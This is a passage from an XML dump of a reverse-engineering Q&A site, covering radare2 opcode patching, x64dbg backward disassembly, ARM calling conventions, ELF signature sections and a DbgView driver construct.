sbin/init&#xA;drwxrwxrwx 2 1001 1001  650 2014-05-04 08:36 lib&#xA;lrwxrwxrwx 1 1001 1001   11 2013-09-23 12:46 linuxrc -&amp;gt; bin/busybox&#xA;drwxrwxrwx 2 1001 1001    3 2006-04-19 06:04 lost+found&#xA;-rwxrwxrwx 1 1001 1001 1341 2011-04-21 05:40 mkimg.rootfs&#xA;-rwxrwxrwx 1 1001 1001  431 2011-04-21 05:40 mknod_console&#xA;drwxrwxrwx 2 1001 1001    3 2006-04-19 06:05 mnt&#xA;drwxrwxrwx 2 1001 1001    3 2008-05-21 11:17 nfsroot&#xA;drwxrwxrwx 2 1001 1001    3 2006-04-19 06:04 opt&#xA;drwxrwxrwx 2 1001 1001    3 2006-04-19 06:04 proc&#xA;drwxrwxrwx 7 root root  143 2017-09-30 08:11 progs&#xA;drwxrwxrwx 2 1001 1001   31 2013-08-22 03:35 root&#xA;drwxrwxrwx 2 1001 1001  878 2017-10-20 12:32 sbin&#xA;drwxrwxrwx 2 1001 1001    3 2006-04-19 06:05 share&#xA;drwxrwxrwx 2 1001 1001    3 2006-04-19 06:04 sys&#xA;drwxrwxrwx 2 1001 1001    3 2006-04-19 10:46 tmp&#xA;drwxrwxrwx 6 1001 1001   62 2013-08-22 03:35 usr&#xA;drwxrwxrwx 3 1001 1001   26 2013-08-22 03:35 var&#xA;lrwxrwxrwx 1 root root   10 2017-10-20 12:32 wifi -&amp;gt; /home/wifi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it seems that the SquashFS is readable and sound. At least that part has been verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, as I mentioned at the beginning, I don't have the time to verify my findings so far, but my findings will give you a clue of the mindset the developers of the company where in and what else they may have in store. It looks like the real deal, but I may have overlooked some details. Either way this should get you started.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2018-06-13T21:53:20.400" LastActivityDate="2018-06-13T21:53:20.400" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18525" PostTypeId="1" AcceptedAnswerId="18526" CreationDate="2018-06-14T14:46:45.193" Score="10" ViewCount="1279" Body="&lt;p&gt;Hello I'm playing with my native android library, everything was going smoothly till now. I have problem with opcodes, i don't know how to tell radare2 to write str opcode with specifc registry,  and point it to stack pointer and local variable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lib loaded via : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;r2 -Aw lib/arm64-v8a/libnative-lib.so&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Before changes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           ; var int local_ch @ sp+0xc&#xA;|           ; var int local_10h @ sp+0x10&#xA;|           ; var int local_18h @ sp+0x18&#xA;[...]&#xA;|           0x0000946c      e00f00f9       str x0, [sp + local_18h]&#xA;|           0x00009470      e10b00f9       str x1, [sp + local_10h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Applying changes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00009470]&amp;gt; wa str x1,sp+local_10h&#xA;Written 4 byte(s) (str x1,sp+local_10h) = wx e10300f9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unwanted output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00009470]&amp;gt; pd 1&#xA;|           0x00009470      e10300f9       str x1, [sp]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output that i want but don't know how to get it (note the  &quot;&lt;strong&gt;+ local_10h&lt;/strong&gt;&quot; label) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  [0x00009470]&amp;gt; pd 1&#xA;  |           0x00009470     e10b00f9       str x1, [sp + local_10h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24703" LastActivityDate="2018-06-15T07:31:20.573" Title="How to write [sp+local_variable] in radare2" Tags="|arm|radare2|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18526" PostTypeId="2" ParentId="18525" CreationDate="2018-06-14T15:16:50.280" Score="7" Body="&lt;p&gt;So to make an order from the comments - you can do it by using two approaches.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the original opcodes and write them using &lt;code&gt;wx&lt;/code&gt; which stands for &quot;&lt;strong&gt;w&lt;/strong&gt;rite &lt;strong&gt;h&lt;/strong&gt;ex&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wx e10b00f9&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you still want to use &lt;code&gt;wa&lt;/code&gt; you can do this like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wa str x1,sp,0x10&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In general, handling function's local variables can be done using the &lt;code&gt;afv&lt;/code&gt; command and subcommands. Execute &lt;code&gt;afv?&lt;/code&gt; to see its subcommands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; afv?&#xA;|Usage: afv[rbs]&#xA;| afvr[?]                     manipulate register based arguments&#xA;| afvb[?]                     manipulate bp based arguments/locals&#xA;| afvs[?]                     manipulate sp based arguments/locals&#xA;| afv*                        output r2 command to add args/locals to flagspace&#xA;| afvR [varname]              list addresses where vars are accessed (READ)&#xA;| afvW [varname]              list addresses where vars are accessed (WRITE)&#xA;| afva                        analyze function arguments/locals&#xA;| afvd name                   output r2 command for displaying the value of args/locals in the debugger&#xA;| afvn [old_name] [new_name]  rename argument/local&#xA;| afvt [name] [new_type]      change type for given argument/local&#xA;| afv-([name])                remove all or given var&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By executing &lt;code&gt;afv&lt;/code&gt; you'll see a list of all arguments, and both &lt;code&gt;bp&lt;/code&gt; and &lt;code&gt;sp&lt;/code&gt; based local variables. For example, by executing &lt;code&gt;afvs&lt;/code&gt; you'll see a list of all stack-pointer based variables. Use &lt;code&gt;afvb&lt;/code&gt; to see variables that are base-pointer based.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After executing these commands, you'll see how these variable names were defined:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var int local_8h @ rsp+0x8&#xA;var int local_10h @ rsp+0x10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, you can see that &lt;code&gt;local_8h&lt;/code&gt; is defined for &lt;code&gt;rsp+0x8&lt;/code&gt;, and &lt;code&gt;local_10h&lt;/code&gt; for &lt;code&gt;rsp+0x10&lt;/code&gt;.&lt;br&gt;&#xA;While debugging, you can use &lt;code&gt;afvd [var_name]&lt;/code&gt; to shed more light on the variable.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-06-15T07:31:20.573" LastActivityDate="2018-06-15T07:31:20.573" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18528" PostTypeId="1" AcceptedAnswerId="18532" CreationDate="2018-06-15T11:01:13.213" Score="2" ViewCount="638" Body="&lt;p&gt;I was just wondering if there was a way to force an interpretation of a block of code in x64dbg. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The section im analyzing fluctuates between this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/B90aV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B90aV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lMFsv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lMFsv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22004" LastEditorUserId="245" LastEditDate="2018-06-15T18:50:06.943" LastActivityDate="2018-06-15T18:50:06.943" Title="Forcefully interpret code in x64dbg" Tags="|x64dbg|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18529" PostTypeId="1" CreationDate="2018-06-15T14:49:51.887" Score="3" ViewCount="332" Body="&lt;p&gt;I am reversing ARM Thumb2 code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a table that shows which registers are used to pass arguments to functions, and which registers must be saved after the function ends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, if I see &lt;code&gt;push r5-r9&lt;/code&gt; at the beginning of the function and &lt;code&gt;pop r5-r9&lt;/code&gt; at the end of function,  are those registers saved?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="18317" LastEditDate="2018-06-15T15:55:11.627" LastActivityDate="2018-11-10T17:45:52.467" Title="ARM Thumb2 register usage" Tags="|disassembly|assembly|arm|thumb2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18530" PostTypeId="2" ParentId="18529" CreationDate="2018-06-15T16:22:10.180" Score="2" Body="&lt;p&gt;Typically, the &lt;code&gt;push r5-r9&lt;/code&gt; instruction is a way to save the content of these registers (ie &lt;code&gt;r5&lt;/code&gt;, &lt;code&gt;r6&lt;/code&gt;, &lt;code&gt;r7&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt;, &lt;code&gt;r9&lt;/code&gt;) on the stack, then the &lt;code&gt;pop r5-r9&lt;/code&gt; is restoring the saved values before leaving the function stack-frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is quite common behavior when you want to manipulate non-volatile registers within your stack-frame and be compliant to the ABI. It is extremely frequent to see these way of doing in compiler generated assembly code.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2018-06-15T16:22:10.180" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18531" PostTypeId="2" ParentId="18382" CreationDate="2018-06-15T16:38:14.083" Score="3" Body="&lt;p&gt;Returning to this challenge after a bit, and Paweł Łukasik's comment turned out to be key. The presence of repeated &lt;code&gt;PK&lt;/code&gt; sequences was the clue that this was actually a ZIP file. Ran &lt;code&gt;unzip&lt;/code&gt; on the file - which turned out to be a somewhat corrupt ZIP. The file expanded to a huge stack of nested directories named Up, Right, Etc - and in one of those directories was the flag. Thanks again Paweł for the key clue!   &lt;/p&gt;&#xA;" OwnerUserId="24160" LastActivityDate="2018-06-15T16:38:14.083" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18532" PostTypeId="2" ParentId="18528" CreationDate="2018-06-15T17:49:35.037" Score="4" Body="&lt;p&gt;You are encountering the issue of &lt;a href=&quot;https://stormsecurity.wordpress.com/tag/backward-disassembler&quot; rel=&quot;nofollow noreferrer&quot;&gt;backwards disassembly&lt;/a&gt;. When you give x64dbg an address to disassemble at it will start decoding at exactly this address, go to the next instruction, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if you have the bytes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EB 00 48 83 C4 38 C3&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you start disassembling at the first byte you will see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 | EB 00       | jmp 2&#xA;2 | 48 83 C4 38 | add rsp,38&#xA;6 | C3          | ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you start disassembling at the second byte you will see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 | 00 48 83    | add byte ptr ds:[rax-7D],cl&#xA;4 | C4          | ???&#xA;5 | 38 C3       | cmp bl,al&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason you are seeing garbage like this when scolling up is that x64dbg has no idea about instruction starts and tries to heuristically determine what the previous instruction was based on the bytes. If the result of this algorithm is wrong x64dbg will disassemble at an incorrect location causing strange looking instructions. You can find the implementation of that algorithm &lt;a href=&quot;https://github.com/x64dbg/x64dbg/blob/development/src/gui/Src/Disassembler/QBeaEngine.cpp#L19&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. It is based on the algorithm used inside OllyDbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As some users suggested you can use analysis, but the results of this are not used during backwards disassembly because generally everything works fine.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2018-06-15T17:49:35.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18533" PostTypeId="2" ParentId="18504" CreationDate="2018-06-15T17:51:37.843" Score="10" Body="&lt;p&gt;When x64dbg attaches to a process it will first stop at the 'Attach breakpoint'. The button to search for string references will search the module currently shown in the disassembly. To search in another module you simply have to go there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to do this is to go to the &lt;code&gt;Symbols&lt;/code&gt; tab and double click the module you are interested in. This should take you to the code section of the module. From there you can press the button to search for string references.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2018-06-15T17:51:37.843" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18534" PostTypeId="1" CreationDate="2018-06-15T18:27:28.287" Score="1" ViewCount="197" Body="&lt;p&gt;I'm trying to use data from one ELF to build another ELF, but I can't seem to find anything that gets what I need using IDA Pro. I'm trying to build a database out of Sections, Symbols, and Cross-references. I know radare can do it, but I'm trying to get it done in IDA. I just can't seem to find many metadata exporting scripts or plugins asides from what's in IDAPython, but that doesn't seem to accomplish what I want it too.&lt;/p&gt;&#xA;" OwnerUserId="24714" LastActivityDate="2018-06-15T18:27:28.287" Title="Are there tools or plugins for IDA Pro that can find ELF sections?" Tags="|ida|idapython|elf|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18535" PostTypeId="2" ParentId="13030" CreationDate="2018-06-15T19:29:34.677" Score="1" Body="&lt;p&gt;support for 24-bit address space for 68k has been added in IDA 6.9: &lt;a href=&quot;https://www.hex-rays.com/products/ida/6.9/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/6.9/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BUGFIX: mc68k: address bus width for mc68000, mc68010, cpu32 reduced to 24 bits&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-06-15T19:29:34.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18538" PostTypeId="2" ParentId="18511" CreationDate="2018-06-16T22:43:10.970" Score="9" Body="&lt;p&gt;Go to the menu &lt;code&gt;Edit -&amp;gt; Plugins -&amp;gt; Hex-Rays Decompiler&lt;/code&gt;. A window will appear with information about the Hex-Rays plugin. Click &lt;code&gt;Options&lt;/code&gt; and you should see a dialog like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Cjh7.png&quot; alt=&quot;hex rays options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on &lt;code&gt;Analysis options&lt;/code&gt; and uncheck &lt;code&gt;Print only constant string literals&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fcnSi.png&quot; alt=&quot;option&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I learned about this option from the great &lt;a href=&quot;https://lifeinhex.com&quot; rel=&quot;noreferrer&quot;&gt;Life In Hex&lt;/a&gt; blog, but I cannot find the post right now...&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2018-06-16T22:43:10.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18539" PostTypeId="2" ParentId="18300" CreationDate="2018-06-16T23:19:42.913" Score="0" Body="&lt;p&gt;&lt;em&gt;TL;DR: The registers are used to pass arguments between the calling function to the callee. In order to understand their values you'll need to look at code prior to it being called.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since you've mentioned the data stored from the registers is then used to initialize another register before a call, this is a case of data passed between functions using registers.&lt;/p&gt;&#xA;&lt;p&gt;This may slightly look like saving registers for them to be restored prior to retuning back to the caller, however according to OP the values are &lt;em&gt;not&lt;/em&gt; copied back from the stack (&lt;code&gt;var_44&lt;/code&gt;, &lt;code&gt;var_40&lt;/code&gt;) near the functions return. Additionally, &lt;code&gt;eax&lt;/code&gt; is nearly never a preserved register so this is unlikely to be the case.&lt;/p&gt;&#xA;&lt;h2&gt;What are calling conventions&lt;/h2&gt;&#xA;&lt;p&gt;Calling convention is how arguments are passed between caller and callee functions. Wether arguments are stored on the stack, in registers or anyplace else by the caller function prior to calling the callee function, in order for the callee function to read them.&lt;/p&gt;&#xA;&lt;p&gt;Once we know what calling conventions are, a question raises as to who defined what available calling conventions are available as well as picks the calling convention to use between functions. Obviously, if a caller and callee assume a different calling convention code will break and we'll likely to get a segfault.&lt;/p&gt;&#xA;&lt;p&gt;Although this question may seem trivial in cases where the same compiler builds both the callee and caller, compiling different binaries by different compilers may complicate things.&lt;/p&gt;&#xA;&lt;p&gt;You may want to read more about &lt;a href=&quot;https://en.wikipedia.org/wiki/Calling_convention&quot; rel=&quot;nofollow noreferrer&quot;&gt;calling conventions&lt;/a&gt; used by the compiler/architecture you're reverse engineering.&lt;/p&gt;&#xA;&lt;h2&gt;fastcall calling conventions&lt;/h2&gt;&#xA;&lt;p&gt;There are quite a few &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;x86 calling conventions&lt;/a&gt; with several resembling each other but used by different compilers but x64 calling conventions are more standardized.&lt;/p&gt;&#xA;&lt;p&gt;Originally, calling conventions heavily relied on the stack and all parameters were passed through it, however for performance reasons register usage became more frequent as it avoids the extra memory writes. Since not all data can be stored using registers (and other reasons) these are mixed calling conventions.&lt;/p&gt;&#xA;&lt;p&gt;These mixed calling conventions are commonly called &amp;quot;fastcall&amp;quot; due to being faster by avoiding the unneeded stack writes. There are several x86 fast calling conventions, depending on compiler used. Although there are several calling conventions take make usage of the &lt;code&gt;eax&lt;/code&gt; and &lt;code&gt;edx&lt;/code&gt;, but the important thing to note here is &lt;strong&gt;that they're used for the values previously set by the calling function&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-06-16T23:19:42.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18541" PostTypeId="1" CreationDate="2018-06-17T12:39:12.867" Score="7" ViewCount="1172" Body="&lt;p&gt;I need some help in determining if an ELF file is signed or with a valid signature or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used the &lt;code&gt;readelf&lt;/code&gt; tool with &lt;code&gt;-S&lt;/code&gt; option in order to view the section headers and more specifically, the &lt;code&gt;sig&lt;/code&gt; section header. This is the result I got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[30] .sha256_sig         PROGBITS         00000000000000000  00023276&#xA;[31] .sig_key            PROGBITS         00000000000000000  00023676&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Few questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Since there are two headers (&lt;code&gt;sha256_sig&lt;/code&gt; and &lt;code&gt;sig_key&lt;/code&gt;), does this mean the ELF is signed?&lt;/li&gt;&#xA;&lt;li&gt;How can I verify the signature?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24722" LastEditorUserId="53" LastEditDate="2018-06-18T12:21:31.663" LastActivityDate="2023-01-27T19:00:20.100" Title="Determine if an ELF file is signed or not" Tags="|elf|binary-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18542" PostTypeId="2" ParentId="18541" CreationDate="2018-06-17T17:42:34.163" Score="2" Body="&lt;p&gt;The &lt;code&gt;-S&lt;/code&gt; flag lists all &lt;em&gt;section headers&lt;/em&gt;, not &quot;sig[nature] section header&quot;. The &lt;code&gt;S&lt;/code&gt; stands for &quot;sections&quot;, not &quot;signature&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, these section names appear to be quite unrelated to linux itself, but are part of the linux &lt;a href=&quot;https://appimage.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;AppImage&lt;/em&gt; application&lt;/a&gt;, a third party application framework that includes it's own signed update mechanism. The only references I could find to these section names are part of it's update mechanism as can be seen in this &lt;a href=&quot;https://github.com/AppImage/AppImageUpdate/pull/75&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pull Request&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-06-17T17:42:34.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18544" PostTypeId="1" CreationDate="2018-06-18T05:30:12.020" Score="12" ViewCount="980" Body="&lt;p&gt;I'm trying to reverse the &lt;code&gt;Dbgv.sys&lt;/code&gt; (x86 kernel driver) for the &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/debugview&quot; rel=&quot;nofollow noreferrer&quot;&gt;DbgView tool&lt;/a&gt;. It has this &lt;code&gt;sub_10D4A&lt;/code&gt; function that is called almost at the beginning of the driver's &lt;code&gt;DriverEntry&lt;/code&gt; function. It goes as such:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tdZHp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tdZHp.png&quot; alt=&quot;sub_10D4A snippet&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant piece of disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00010D64                 mov     eax, ds:KeNumberProcessors&#xA;.text:00010D69                 mov     al, [eax]&#xA;.text:00010D6B                 cmp     al, 40h ; '@'&#xA;.text:00010D6D                 movsx   eax, al&#xA;.text:00010D70                 jl      short loc_10D74&#xA;.text:00010D72                 mov     eax, [eax] ; &amp;lt;-- line pointed out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I don't understand is the construct that is pointed by the red arrow. If &lt;code&gt;KeNumberProcessors&lt;/code&gt; global variable is larger than or equal to 64 CPU cores (or 40h) it will execute &lt;code&gt;mov eax, [eax]&lt;/code&gt; instruction, which will try to read a DWORD from an address that is a number of CPUs, say &lt;code&gt;40h&lt;/code&gt;, which makes no sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wouldn't it result in a BSOD?&#xA;What's the intention there?&lt;/p&gt;&#xA;" OwnerUserId="24732" LastEditorUserId="2147" LastEditDate="2018-06-18T20:35:20.707" LastActivityDate="2018-06-18T20:35:20.707" Title="Trying to understand this construct in Dbgv.sys driver for DbgView tool" Tags="|windows|debugging|kernel-mode|kernel|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18546" PostTypeId="2" ParentId="18544" CreationDate="2018-06-18T08:07:05.753" Score="0" Body="&lt;p&gt;Yep seems like there'll be BSOD, but everybody is lucky to have KeNumberProcessors &amp;lt;= 0x40, so it never happens.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-06-18T08:07:05.753" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18547" PostTypeId="2" ParentId="16893" CreationDate="2018-06-18T08:49:57.353" Score="0" Body="&lt;p&gt;You can always write an IDAPython script that would:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Load a file using &lt;code&gt;idc.LoadFile&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Wait for the auto-analysis to finish using &lt;code&gt;ida_auto.auto_wait&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Save the resulting IDB file by calling &lt;code&gt;idc.save_database&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and then load the next file by calling &lt;code&gt;idc.LoadFile&lt;/code&gt; again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMO, IDA's disassembler usually yields better results in comparison to the dumpbin utility.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-06-18T08:49:57.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18548" PostTypeId="2" ParentId="18544" CreationDate="2018-06-18T09:09:45.310" Score="5" Body="&lt;p&gt;By definition, 32 bit systems cannot have more than 64 CPU cores (either virtual or physical). This is a hard limit on Microsoft's side for reasons unknown. One can assume those limitations are related to implementation details of the kernel such as the number of CPU core structures, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this is a 32bit driver it'll only be allowed to run in a 32 bit windows version. Because of the limitation induced by Microsoft, drivers need not support more than 64 cores themselves, allowing / requiring a driver to handle these error conditions and unexpected situations to be using a BSOD.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If &lt;code&gt;KeNumberProcessors&lt;/code&gt; global variable is larger than or equal to 64 CPU cores (or 40h) it will execute &lt;code&gt;mov eax, [eax]&lt;/code&gt; instruction, which will try to read a DWORD from an address that is a number of CPUs, say &lt;code&gt;40h&lt;/code&gt;, which makes no sense.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Although your description is roughly accurate, there's another minor detail that makes this flow impossible you've neglected to note. Without it, this flow could've been functional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is the single assembly instruction just between the comparison and conditional jump: &lt;code&gt;movsx eax, al&lt;/code&gt;. A move with sign extend from a &lt;code&gt;al&lt;/code&gt; to &lt;code&gt;eax&lt;/code&gt;. It makes &lt;em&gt;sure&lt;/em&gt; EAX will not be a valid address to read from.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-06-18T09:09:45.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18549" PostTypeId="2" ParentId="18544" CreationDate="2018-06-18T09:14:22.457" Score="10" Body="&lt;p&gt;I still think this will create a BSOD, what's more I think that this is &lt;strong&gt;deliberate&lt;/strong&gt;. It makes perfect sense to assume that this is deliberate once piecing all the puzzle pieces together. The source incompatibility will inevitably force that the developer notices the change of type for &lt;code&gt;KeNumberProcessors&lt;/code&gt; from &lt;code&gt;PCCHAR&lt;/code&gt; to &lt;code&gt;CCHAR&lt;/code&gt;. The likeliest error is: &lt;code&gt;error C2100: illegal indirection&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the PE header the file was created using WDK 7600.16385.1 (OS version), targeting XP (subsystem version), assuming we can trust best practices having been used to create the driver. However, the driver &lt;em&gt;does&lt;/em&gt; run on Windows 2000 Professional (with SP4) as I verified. This is possible whenever the author is careful enough not to use functions unavailable on Windows 2000, but available at compile and link time for the nominal target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, so say you have an old driver targeting pre-XP Windows versions. You'll write this (some more code was necessary to force this code not to be optimized away):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CCHAR nCpus = *KeNumberProcessors;&#xA;PVOID lpBuf = ExAllocatePool(NonPagedPool, nCpus * 7);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when building this for Windows 2000 (free) as target (using WDK 6001.18002), we get for the line assigning &lt;code&gt;nCpus&lt;/code&gt; and the subsequent one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00010519                 mov     eax, ds:__imp__KeNumberProcessors&#xA;; opcodes unrelated to processor number&#xA;.text:0001052E                 movsx   eax, byte ptr [eax]&#xA;.text:00010531                 imul    eax, 7&#xA;.text:00010534                 push    edi&#xA;.text:00010535                 push    eax             ; NumberOfBytes&#xA;.text:00010536                 push    ebx             ; PoolType&#xA;.text:00010537                 call    ds:__imp__ExAllocatePool@8 ; ExAllocatePool(x,x)&#xA;.text:0001053D                 mov     [ebp+lpBuf], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when targeting Windows XP using the WDK 7600.16385.1 we get an error during compilation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;KNPs.cpp(102) : error C2100: illegal indirection&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... which we fix by removing the &lt;code&gt;*&lt;/code&gt; that dereferences &lt;code&gt;KeNumberProcessors&lt;/code&gt;, which then gives us a successful compilation and the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00010519                 mov     eax, ds:__imp__KeNumberProcessors&#xA;; opcodes unrelated to processor number&#xA;.text:0001052E                 movsx   eax, byte ptr [eax]&#xA;.text:00010531                 imul 